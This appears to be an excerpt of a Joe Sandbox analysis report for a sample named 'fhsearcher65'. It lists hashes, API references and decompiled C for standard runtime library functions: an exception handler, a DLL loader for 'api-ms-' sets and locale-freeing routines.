Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 97abf38324731e32aa54c8af95c8715b679c63eee41a74b9c7ea5a5f1bcbe85c
Instruction ID: 56324905b5cf03f36623b407c9bca58900183bbae34251306b30c85aa47bf572
Opcode Fuzzy Hash: 97abf38324731e32aa54c8af95c8715b679c63eee41a74b9c7ea5a5f1bcbe85c
Instruction Fuzzy Hash: A941EB30A01208EBCF10DF6AC885A9EBBB1FF4C318F14915AE8155B3D2C779E911CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00411F90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00411F90(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _t56;
				signed int _t63;
				intOrPtr _t64;
				void* _t65;
				intOrPtr* _t66;
				intOrPtr _t68;
				intOrPtr _t70;
				signed int _t71;
				signed int _t72;
				signed int _t75;
				intOrPtr* _t79;
				intOrPtr _t80;
				signed int _t84;
				char _t86;
				intOrPtr _t90;
				intOrPtr* _t91;
				signed int _t97;
				signed int _t98;
				intOrPtr _t100;
				intOrPtr _t103;
				signed int _t105;
				void* _t108;
				void* _t109;
				void* _t115;

				_t94 = __edx;
				_t79 = _a4;
				_push(__edi);
				_v5 = 0;
				_v16 = 1;
				 *_t79 = E0042C59E(__ecx,  *_t79);
				_t80 = _a8;
				_t6 = _t80 + 0x10; // 0x11
				_t103 = _t6;
				_push(_t103);
				_v20 = _t103;
				_v12 =  *(_t80 + 8) ^  *0x43d054;
				E00411F50(_t80, __edx, __edi, _t103,  *(_t80 + 8) ^  *0x43d054);
				E00412FEC(_a12);
				_t56 = _a4;
				_t109 = _t108 + 0x10;
				_t100 =  *((intOrPtr*)(_t80 + 0xc));
				if(( *(_t56 + 4) & 0x00000066) != 0) {
					__eflags = _t100 - 0xfffffffe;
					if(_t100 != 0xfffffffe) {
						_t94 = 0xfffffffe;
						E00413310(_t80, 0xfffffffe, _t103, 0x43d054);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t56;
					_v28 = _a12;
					 *((intOrPtr*)(_t80 - 4)) =  &_v32;
					if(_t100 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t84 = _v12;
							_t63 = _t100 + (_t100 + 2) * 2;
							_t80 =  *((intOrPtr*)(_t84 + _t63 * 4));
							_t64 = _t84 + _t63 * 4;
							_t85 =  *((intOrPtr*)(_t64 + 4));
							_v24 = _t64;
							if( *((intOrPtr*)(_t64 + 4)) == 0) {
								_t86 = _v5;
								goto L7;
							} else {
								_t94 = _t103;
								_t65 = E004132B0(_t85, _t103);
								_t86 = 1;
								_v5 = 1;
								_t115 = _t65;
								if(_t115 < 0) {
									_v16 = 0;
									L13:
									_push(_t103);
									E00411F50(_t80, _t94, _t100, _t103, _v12);
									goto L14;
								} else {
									if(_t115 > 0) {
										_t66 = _a4;
										__eflags =  *_t66 - 0xe06d7363;
										if( *_t66 == 0xe06d7363) {
											__eflags =  *0x42f198;
											if(__eflags != 0) {
												_t75 = E0042BFA0(__eflags, 0x42f198);
												_t109 = _t109 + 4;
												__eflags = _t75;
												if(_t75 != 0) {
													_t105 =  *0x42f198; // 0x4103a3
													 *0x42e234(_a4, 1);
													 *_t105();
													_t103 = _v20;
													_t109 = _t109 + 8;
												}
												_t66 = _a4;
											}
										}
										_t95 = _t66;
										E004132F0(_t66, _a8, _t66);
										_t68 = _a8;
										__eflags =  *((intOrPtr*)(_t68 + 0xc)) - _t100;
										if( *((intOrPtr*)(_t68 + 0xc)) != _t100) {
											_t95 = _t100;
											E00413310(_t68, _t100, _t103, 0x43d054);
											_t68 = _a8;
										}
										_push(_t103);
										 *((intOrPtr*)(_t68 + 0xc)) = _t80;
										E00411F50(_t80, _t95, _t100, _t103, _v12);
										E004132D0();
										asm("int3");
										_t70 = _v40;
										_t90 = _v36;
										__eflags = _t70 - _t90;
										if(_t70 != _t90) {
											_t91 = _t90 + 5;
											_t71 = _t70 + 5;
											__eflags = _t71;
											while(1) {
												_t97 =  *_t71;
												__eflags = _t97 -  *_t91;
												if(_t97 !=  *_t91) {
													break;
												}
												__eflags = _t97;
												if(_t97 == 0) {
													goto L24;
												} else {
													_t98 =  *((intOrPtr*)(_t71 + 1));
													__eflags = _t98 -  *((intOrPtr*)(_t91 + 1));
													if(_t98 !=  *((intOrPtr*)(_t91 + 1))) {
														break;
													} else {
														_t71 = _t71 + 2;
														_t91 = _t91 + 2;
														__eflags = _t98;
														if(_t98 != 0) {
															continue;
														} else {
															goto L24;
														}
													}
												}
												goto L32;
											}
											asm("sbb eax, eax");
											_t72 = _t71 | 0x00000001;
											__eflags = _t72;
											return _t72;
										} else {
											L24:
											__eflags = 0;
											return 0;
										}
									} else {
										goto L7;
									}
								}
							}
							goto L32;
							L7:
							_t100 = _t80;
						} while (_t80 != 0xfffffffe);
						if(_t86 != 0) {
							goto L13;
						}
						goto L14;
					}
				}
				L32:
			}

0x00411f90
0x00411f97
0x00411f9b
0x00411f9c
0x00411fa2
0x00411fae
0x00411fb0
0x00411fb6
0x00411fb6
0x00411fbf
0x00411fc1
0x00411fc4
0x00411fc7
0x00411fcf
0x00411fd4
0x00411fd7
0x00411fda
0x00411fe1
0x0041203d
0x00412040
0x00412048
0x0041204f
0x00000000
0x0041204f
0x00000000
0x00411fe3
0x00411fe3
0x00411fe9
0x00411fef
0x00411ff5
0x00412060
0x00412069
0x00411ff7
0x00411ff7
0x00411ff7
0x00411ffd
0x00412000
0x00412003
0x00412006
0x00412009
0x0041200e
0x00412024
0x00000000
0x00412010
0x00412010
0x00412012
0x00412017
0x00412019
0x0041201c
0x0041201e
0x00412034
0x00412054
0x00412054
0x00412058
0x00000000
0x00412020
0x00412020
0x0041206a
0x0041206d
0x00412073
0x00412075
0x0041207c
0x00412083
0x00412088
0x0041208b
0x0041208d
0x0041208f
0x0041209c
0x004120a2
0x004120a4
0x004120a7
0x004120a7
0x004120aa
0x004120aa
0x0041207c
0x004120b0
0x004120b2
0x004120b7
0x004120ba
0x004120bd
0x004120c5
0x004120c9
0x004120ce
0x004120ce
0x004120d1
0x004120d5
0x004120d8
0x004120e8
0x004120ed
0x004120f1
0x004120f4
0x004120f7
0x004120f9
0x004120ff
0x00412102
0x00412102
0x00412105
0x00412105
0x00412107
0x00412109
0x00000000
0x00000000
0x0041210b
0x0041210d
0x00000000
0x0041210f
0x0041210f
0x00412112
0x00412115
0x00000000
0x00412117
0x00412117
0x0041211a
0x0041211d
0x0041211f
0x00000000
0x00412121
0x00000000
0x00412121
0x0041211f
0x00412115
0x00000000
0x0041210d
0x00412123
0x00412125
0x00412125
0x00412129
0x004120fb
0x004120fb
0x004120fb
0x004120fe
0x004120fe
0x00412022
0x00000000
0x00412022
0x00412020
0x0041201e
0x00000000
0x00412027
0x00412027
0x00412029
0x00412030
0x00000000
0x00412032
0x00000000
0x00412030
0x00411ff5
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 00411FC7
___except_validate_context_record.LIBVCRUNTIME ref: 00411FCF
_ValidateLocalCookies.LIBCMT ref: 00412058
__IsNonwritableInCurrentImage.LIBCMT ref: 00412083
_ValidateLocalCookies.LIBCMT ref: 004120D8

Strings

csm, xrefs: 0041206D

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: e0701a756b8fd532e6c54edd9633cc2f37b64c963fcb2cfba846efdf3320919d
Instruction ID: 3ca43fab5542620d553ab913ec30130ea42fd05ac69e655bf19853c76e9d7cfc
Opcode Fuzzy Hash: e0701a756b8fd532e6c54edd9633cc2f37b64c963fcb2cfba846efdf3320919d
Instruction Fuzzy Hash: 3D41E930A002089BCF10DF69C880ADEBFB5EF09318F548157EA189B351C779DE96CB98

Uniqueness

Uniqueness Score: -1.00%

Function 10004510 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E10004510(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _t56;
				signed int _t63;
				intOrPtr _t64;
				void* _t65;
				intOrPtr* _t66;
				intOrPtr _t68;
				intOrPtr _t70;
				signed int _t71;
				signed int _t72;
				signed int _t75;
				intOrPtr* _t79;
				intOrPtr _t80;
				signed int _t84;
				char _t86;
				intOrPtr _t90;
				intOrPtr* _t91;
				signed int _t97;
				signed int _t98;
				intOrPtr _t100;
				intOrPtr _t103;
				signed int _t105;
				void* _t108;
				void* _t109;
				void* _t115;

				_t94 = __edx;
				_t79 = _a4;
				_push(__edi);
				_v5 = 0;
				_v16 = 1;
				 *_t79 = E1000F5EB(__ecx,  *_t79);
				_t80 = _a8;
				_t6 = _t80 + 0x10; // 0x11
				_t103 = _t6;
				_push(_t103);
				_v20 = _t103;
				_v12 =  *(_t80 + 8) ^  *0x10017004;
				E100044D0(_t80, __edx, __edi, _t103,  *(_t80 + 8) ^  *0x10017004);
				E1000574C(_a12);
				_t56 = _a4;
				_t109 = _t108 + 0x10;
				_t100 =  *((intOrPtr*)(_t80 + 0xc));
				if(( *(_t56 + 4) & 0x00000066) != 0) {
					__eflags = _t100 - 0xfffffffe;
					if(_t100 != 0xfffffffe) {
						_t94 = 0xfffffffe;
						E100058D0(_t80, 0xfffffffe, _t103, 0x10017004);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t56;
					_v28 = _a12;
					 *((intOrPtr*)(_t80 - 4)) =  &_v32;
					if(_t100 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t84 = _v12;
							_t63 = _t100 + (_t100 + 2) * 2;
							_t80 =  *((intOrPtr*)(_t84 + _t63 * 4));
							_t64 = _t84 + _t63 * 4;
							_t85 =  *((intOrPtr*)(_t64 + 4));
							_v24 = _t64;
							if( *((intOrPtr*)(_t64 + 4)) == 0) {
								_t86 = _v5;
								goto L7;
							} else {
								_t94 = _t103;
								_t65 = E10005870(_t85, _t103);
								_t86 = 1;
								_v5 = 1;
								_t115 = _t65;
								if(_t115 < 0) {
									_v16 = 0;
									L13:
									_push(_t103);
									E100044D0(_t80, _t94, _t100, _t103, _v12);
									goto L14;
								} else {
									if(_t115 > 0) {
										_t66 = _a4;
										__eflags =  *_t66 - 0xe06d7363;
										if( *_t66 == 0xe06d7363) {
											__eflags =  *0x1001022c;
											if(__eflags != 0) {
												_t75 = E1000F280(__eflags, 0x1001022c);
												_t109 = _t109 + 4;
												__eflags = _t75;
												if(_t75 != 0) {
													_t105 =  *0x1001022c; // 0x1000422f
													 *0x10010164(_a4, 1);
													 *_t105();
													_t103 = _v20;
													_t109 = _t109 + 8;
												}
												_t66 = _a4;
											}
										}
										_t95 = _t66;
										E100058B0(_t66, _a8, _t66);
										_t68 = _a8;
										__eflags =  *((intOrPtr*)(_t68 + 0xc)) - _t100;
										if( *((intOrPtr*)(_t68 + 0xc)) != _t100) {
											_t95 = _t100;
											E100058D0(_t68, _t100, _t103, 0x10017004);
											_t68 = _a8;
										}
										_push(_t103);
										 *((intOrPtr*)(_t68 + 0xc)) = _t80;
										E100044D0(_t80, _t95, _t100, _t103, _v12);
										E10005890();
										asm("int3");
										_t70 = _v40;
										_t90 = _v36;
										__eflags = _t70 - _t90;
										if(_t70 != _t90) {
											_t91 = _t90 + 5;
											_t71 = _t70 + 5;
											__eflags = _t71;
											while(1) {
												_t97 =  *_t71;
												__eflags = _t97 -  *_t91;
												if(_t97 !=  *_t91) {
													break;
												}
												__eflags = _t97;
												if(_t97 == 0) {
													goto L24;
												} else {
													_t98 =  *((intOrPtr*)(_t71 + 1));
													__eflags = _t98 -  *((intOrPtr*)(_t91 + 1));
													if(_t98 !=  *((intOrPtr*)(_t91 + 1))) {
														break;
													} else {
														_t71 = _t71 + 2;
														_t91 = _t91 + 2;
														__eflags = _t98;
														if(_t98 != 0) {
															continue;
														} else {
															goto L24;
														}
													}
												}
												goto L32;
											}
											asm("sbb eax, eax");
											_t72 = _t71 | 0x00000001;
											__eflags = _t72;
											return _t72;
										} else {
											L24:
											__eflags = 0;
											return 0;
										}
									} else {
										goto L7;
									}
								}
							}
							goto L32;
							L7:
							_t100 = _t80;
						} while (_t80 != 0xfffffffe);
						if(_t86 != 0) {
							goto L13;
						}
						goto L14;
					}
				}
				L32:
			}

0x10004510
0x10004517
0x1000451b
0x1000451c
0x10004522
0x1000452e
0x10004530
0x10004536
0x10004536
0x1000453f
0x10004541
0x10004544
0x10004547
0x1000454f
0x10004554
0x10004557
0x1000455a
0x10004561
0x100045bd
0x100045c0
0x100045c8
0x100045cf
0x00000000
0x100045cf
0x00000000
0x10004563
0x10004563
0x10004569
0x1000456f
0x10004575
0x100045e0
0x100045e9
0x10004577
0x10004577
0x10004577
0x1000457d
0x10004580
0x10004583
0x10004586
0x10004589
0x1000458e
0x100045a4
0x00000000
0x10004590
0x10004590
0x10004592
0x10004597
0x10004599
0x1000459c
0x1000459e
0x100045b4
0x100045d4
0x100045d4
0x100045d8
0x00000000
0x100045a0
0x100045a0
0x100045ea
0x100045ed
0x100045f3
0x100045f5
0x100045fc
0x10004603
0x10004608
0x1000460b
0x1000460d
0x1000460f
0x1000461c
0x10004622
0x10004624
0x10004627
0x10004627
0x1000462a
0x1000462a
0x100045fc
0x10004630
0x10004632
0x10004637
0x1000463a
0x1000463d
0x10004645
0x10004649
0x1000464e
0x1000464e
0x10004651
0x10004655
0x10004658
0x10004668
0x1000466d
0x10004671
0x10004674
0x10004677
0x10004679
0x1000467f
0x10004682
0x10004682
0x10004685
0x10004685
0x10004687
0x10004689
0x00000000
0x00000000
0x1000468b
0x1000468d
0x00000000
0x1000468f
0x1000468f
0x10004692
0x10004695
0x00000000
0x10004697
0x10004697
0x1000469a
0x1000469d
0x1000469f
0x00000000
0x100046a1
0x00000000
0x100046a1
0x1000469f
0x10004695
0x00000000
0x1000468d
0x100046a3
0x100046a5
0x100046a5
0x100046a9
0x1000467b
0x1000467b
0x1000467b
0x1000467e
0x1000467e
0x100045a2
0x00000000
0x100045a2
0x100045a0
0x1000459e
0x00000000
0x100045a7
0x100045a7
0x100045a9
0x100045b0
0x00000000
0x100045b2
0x00000000
0x100045b0
0x10004575
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 10004547
___except_validate_context_record.LIBVCRUNTIME ref: 1000454F
_ValidateLocalCookies.LIBCMT ref: 100045D8
__IsNonwritableInCurrentImage.LIBCMT ref: 10004603
_ValidateLocalCookies.LIBCMT ref: 10004658

Strings

csm, xrefs: 100045ED

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 71993e02da73fe6ea8203d8663dbfd28e3c5aac2b87050cf1c64cbd4c7b0a4a1
Instruction ID: e65ff753308d278a6817090cc45740b4f84ab4a7cb3d59c0f71bc0a74e6c746d
Opcode Fuzzy Hash: 71993e02da73fe6ea8203d8663dbfd28e3c5aac2b87050cf1c64cbd4c7b0a4a1
Instruction Fuzzy Hash: 4141C378E00218EBEF00CF68CC84A9E7BF5EF452A5F118055E8149B356DB72EA11CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041E878 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041E878(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int* _v8;
				void** _t12;
				void* _t16;
				void* _t18;
				signed int _t22;
				WCHAR* _t23;
				void** _t26;
				signed int* _t29;
				void* _t32;
				void* _t34;

				_t29 = _a4;
				while(_t29 != _a8) {
					_t22 =  *_t29;
					_t12 = 0x450ae8 + _t22 * 4;
					_t32 =  *_t12;
					_v8 = _t12;
					if(_t32 == 0) {
						_t23 =  *(0x431b70 + _t22 * 4);
						_t32 = LoadLibraryExW(_t23, 0, 0x800);
						if(_t32 != 0) {
							L12:
							_t26 = _v8;
							 *_t26 = _t32;
							if( *_t26 != 0) {
								FreeLibrary(_t32);
							}
							L14:
							if(_t32 != 0) {
								_t16 = _t32;
								L18:
								return _t16;
							}
							L15:
							_t29 =  &(_t29[1]);
							continue;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L9:
							_t32 = 0;
							L10:
							if(_t32 != 0) {
								goto L12;
							}
							 *_v8 = _t18 | 0xffffffff;
							goto L15;
						}
						_t18 = E00416664(_t23, L"api-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = E00416664(_t23, L"ext-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = LoadLibraryExW(_t23, _t32, _t32);
						_t32 = _t18;
						goto L10;
					}
					if(_t32 == 0xffffffff) {
						goto L15;
					}
					goto L14;
				}
				_t16 = 0;
				goto L18;
			}

0x0041e881
0x0041e92b
0x0041e889
0x0041e88b
0x0041e892
0x0041e894
0x0041e89a
0x0041e8a7
0x0041e8bc
0x0041e8c0
0x0041e912
0x0041e912
0x0041e917
0x0041e91b
0x0041e91e
0x0041e91e
0x0041e924
0x0041e926
0x0041e93b
0x0041e936
0x0041e93a
0x0041e93a
0x0041e928
0x0041e928
0x00000000
0x0041e928
0x0041e8c2
0x0041e8cb
0x0041e902
0x0041e902
0x0041e904
0x0041e906
0x00000000
0x00000000
0x0041e90e
0x00000000
0x0041e90e
0x0041e8d5
0x0041e8da
0x0041e8df
0x00000000
0x00000000
0x0041e8e9
0x0041e8ee
0x0041e8f3
0x00000000
0x00000000
0x0041e8f8
0x0041e8fe
0x00000000
0x0041e8fe
0x0041e89f
0x00000000
0x00000000
0x00000000
0x0041e8a5
0x0041e934
0x00000000

Strings

api-ms-, xrefs: 0041E8CF
ext-ms-, xrefs: 0041E8E3

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: f5ec6ee9c4a828023a9cd68abdd904a08f9a9bc1d08a35ee3d13f4932bbadbf7
Instruction ID: d6a133f927b4d18f3cb6c886d8ebb369f95334edfccf6dd0c129603d5339a6a0
Opcode Fuzzy Hash: f5ec6ee9c4a828023a9cd68abdd904a08f9a9bc1d08a35ee3d13f4932bbadbf7
Instruction Fuzzy Hash: 16215BB9A01321EBDB3157279C45FAB37589F01B60F600122EC06A7391D738EC41D6D9

Uniqueness

Uniqueness Score: -1.00%

Function 1000800F Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E1000800F(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int* _v8;
				void** _t12;
				void* _t16;
				void* _t18;
				signed int _t22;
				WCHAR* _t23;
				void** _t26;
				signed int* _t29;
				void* _t32;
				void* _t34;

				_t29 = _a4;
				while(_t29 != _a8) {
					_t22 =  *_t29;
					_t12 = 0x10017ec8 + _t22 * 4;
					_t32 =  *_t12;
					_v8 = _t12;
					if(_t32 == 0) {
						_t23 =  *(0x10010fb8 + _t22 * 4);
						_t32 = LoadLibraryExW(_t23, 0, 0x800);
						if(_t32 != 0) {
							L12:
							_t26 = _v8;
							 *_t26 = _t32;
							if( *_t26 != 0) {
								FreeLibrary(_t32);
							}
							L14:
							if(_t32 != 0) {
								_t16 = _t32;
								L18:
								return _t16;
							}
							L15:
							_t29 =  &(_t29[1]);
							continue;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L9:
							_t32 = 0;
							L10:
							if(_t32 != 0) {
								goto L12;
							}
							 *_v8 = _t18 | 0xffffffff;
							goto L15;
						}
						_t18 = E10007808(_t23, L"api-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = E10007808(_t23, L"ext-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = LoadLibraryExW(_t23, _t32, _t32);
						_t32 = _t18;
						goto L10;
					}
					if(_t32 == 0xffffffff) {
						goto L15;
					}
					goto L14;
				}
				_t16 = 0;
				goto L18;
			}

0x10008018
0x100080c2
0x10008020
0x10008022
0x10008029
0x1000802b
0x10008031
0x1000803e
0x10008053
0x10008057
0x100080a9
0x100080a9
0x100080ae
0x100080b2
0x100080b5
0x100080b5
0x100080bb
0x100080bd
0x100080d2
0x100080cd
0x100080d1
0x100080d1
0x100080bf
0x100080bf
0x00000000
0x100080bf
0x10008059
0x10008062
0x10008099
0x10008099
0x1000809b
0x1000809d
0x00000000
0x00000000
0x100080a5
0x00000000
0x100080a5
0x1000806c
0x10008071
0x10008076
0x00000000
0x00000000
0x10008080
0x10008085
0x1000808a
0x00000000
0x00000000
0x1000808f
0x10008095
0x00000000
0x10008095
0x10008036
0x00000000
0x00000000
0x00000000
0x1000803c
0x100080cb
0x00000000

Strings

api-ms-, xrefs: 10008066
ext-ms-, xrefs: 1000807A

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 495c40b57803ef5ef3fb5807e2b2eab896702d7168f31e2b001653fa3d16e092
Instruction ID: 90a9feae873bb1b7bb8f48b179cd5688537d64e801fb6ee6e67ba8e33ea3485b
Opcode Fuzzy Hash: 495c40b57803ef5ef3fb5807e2b2eab896702d7168f31e2b001653fa3d16e092
Instruction Fuzzy Hash: BD219675A01221ABF7A2CB248D84A4A3698FB057E0F224655FDC5A7295DB70EE0487E1

Uniqueness

Uniqueness Score: -1.00%

Function 00443054 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0044301C: _free.LIBCMT ref: 00443041

_free.LIBCMT ref: 004430A2
_free.LIBCMT ref: 004430AD
_free.LIBCMT ref: 004430B8
_free.LIBCMT ref: 0044310C
_free.LIBCMT ref: 00443117
_free.LIBCMT ref: 00443122
_free.LIBCMT ref: 0044312D

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 133ea2b89444c130765e51dc6ef272bab715d3be83394f254edc6edf343bbe22
Instruction ID: 18b0f10dc80f86e3b47954cd7ac735c8865c2d37fda3f0ccca68a77a81fef9d4
Opcode Fuzzy Hash: 133ea2b89444c130765e51dc6ef272bab715d3be83394f254edc6edf343bbe22
Instruction Fuzzy Hash: 3F116D31540B04FAFE20FFB2CC07FCB77AC5F05B06F40491EB29966066DA6EEA445699

Uniqueness

Uniqueness Score: -1.00%

Function 004263C1 Relevance: 10.6, APIs: 7, Instructions: 65
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E004263C1(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E0042610D(_t45, 7);
					E0042610D(_t45 + 0x1c, 7);
					E0042610D(_t45 + 0x38, 0xc);
					E0042610D(_t45 + 0x68, 0xc);
					E0042610D(_t45 + 0x98, 2);
					E0041E668( *((intOrPtr*)(_t45 + 0xa0)));
					E0041E668( *((intOrPtr*)(_t45 + 0xa4)));
					E0041E668( *((intOrPtr*)(_t45 + 0xa8)));
					E0042610D(_t45 + 0xb4, 7);
					E0042610D(_t45 + 0xd0, 7);
					E0042610D(_t45 + 0xec, 0xc);
					E0042610D(_t45 + 0x11c, 0xc);
					E0042610D(_t45 + 0x14c, 2);
					E0041E668( *((intOrPtr*)(_t45 + 0x154)));
					E0041E668( *((intOrPtr*)(_t45 + 0x158)));
					E0041E668( *((intOrPtr*)(_t45 + 0x15c)));
					return E0041E668( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x004263c7
0x004263cc
0x004263d5
0x004263e0
0x004263eb
0x004263f6
0x00426404
0x0042640f
0x0042641a
0x00426425
0x00426433
0x00426441
0x00426452
0x00426460
0x0042646e
0x00426479
0x00426484
0x0042648f
0x00000000
0x0042649f
0x004264a4

APIs

Part of subcall function 0042610D: _free.LIBCMT ref: 00426132

_free.LIBCMT ref: 0042640F

Part of subcall function 0041E668: HeapFree.KERNEL32(00000000,00000000,?,00426137,?,00000000,?,?,?,004263DA,?,00000007,?,?,004268CD,?), ref: 0041E67E
Part of subcall function 0041E668: GetLastError.KERNEL32(?,?,00426137,?,00000000,?,?,?,004263DA,?,00000007,?,?,004268CD,?,?), ref: 0041E690

_free.LIBCMT ref: 0042641A
_free.LIBCMT ref: 00426425
_free.LIBCMT ref: 00426479
_free.LIBCMT ref: 00426484
_free.LIBCMT ref: 0042648F
_free.LIBCMT ref: 0042649A

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0ec00478f14c113bf47a4fee4d442575f16bafd0bb01c80a52db30f625d4e359
Instruction ID: 4189f7eb7a3d9cbb941552992194aa9d13ecfca360ee16b61ec0eee0980e8b67
Opcode Fuzzy Hash: 0ec00478f14c113bf47a4fee4d442575f16bafd0bb01c80a52db30f625d4e359
Instruction Fuzzy Hash: 0C11B475A41724FAE920BB72DC07FDBB79C5F04304FC1081FBA99A6093C62EB450C688

Uniqueness

Uniqueness Score: -1.00%

Function 1000BB3C Relevance: 10.6, APIs: 7, Instructions: 65
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E1000BB3C(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E1000BB04(_t45, 7);
					E1000BB04(_t45 + 0x1c, 7);
					E1000BB04(_t45 + 0x38, 0xc);
					E1000BB04(_t45 + 0x68, 0xc);
					E1000BB04(_t45 + 0x98, 2);
					E10008701( *((intOrPtr*)(_t45 + 0xa0)));
					E10008701( *((intOrPtr*)(_t45 + 0xa4)));
					E10008701( *((intOrPtr*)(_t45 + 0xa8)));
					E1000BB04(_t45 + 0xb4, 7);
					E1000BB04(_t45 + 0xd0, 7);
					E1000BB04(_t45 + 0xec, 0xc);
					E1000BB04(_t45 + 0x11c, 0xc);
					E1000BB04(_t45 + 0x14c, 2);
					E10008701( *((intOrPtr*)(_t45 + 0x154)));
					E10008701( *((intOrPtr*)(_t45 + 0x158)));
					E10008701( *((intOrPtr*)(_t45 + 0x15c)));
					return E10008701( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x1000bb42
0x1000bb47
0x1000bb50
0x1000bb5b
0x1000bb66
0x1000bb71
0x1000bb7f
0x1000bb8a
0x1000bb95
0x1000bba0
0x1000bbae
0x1000bbbc
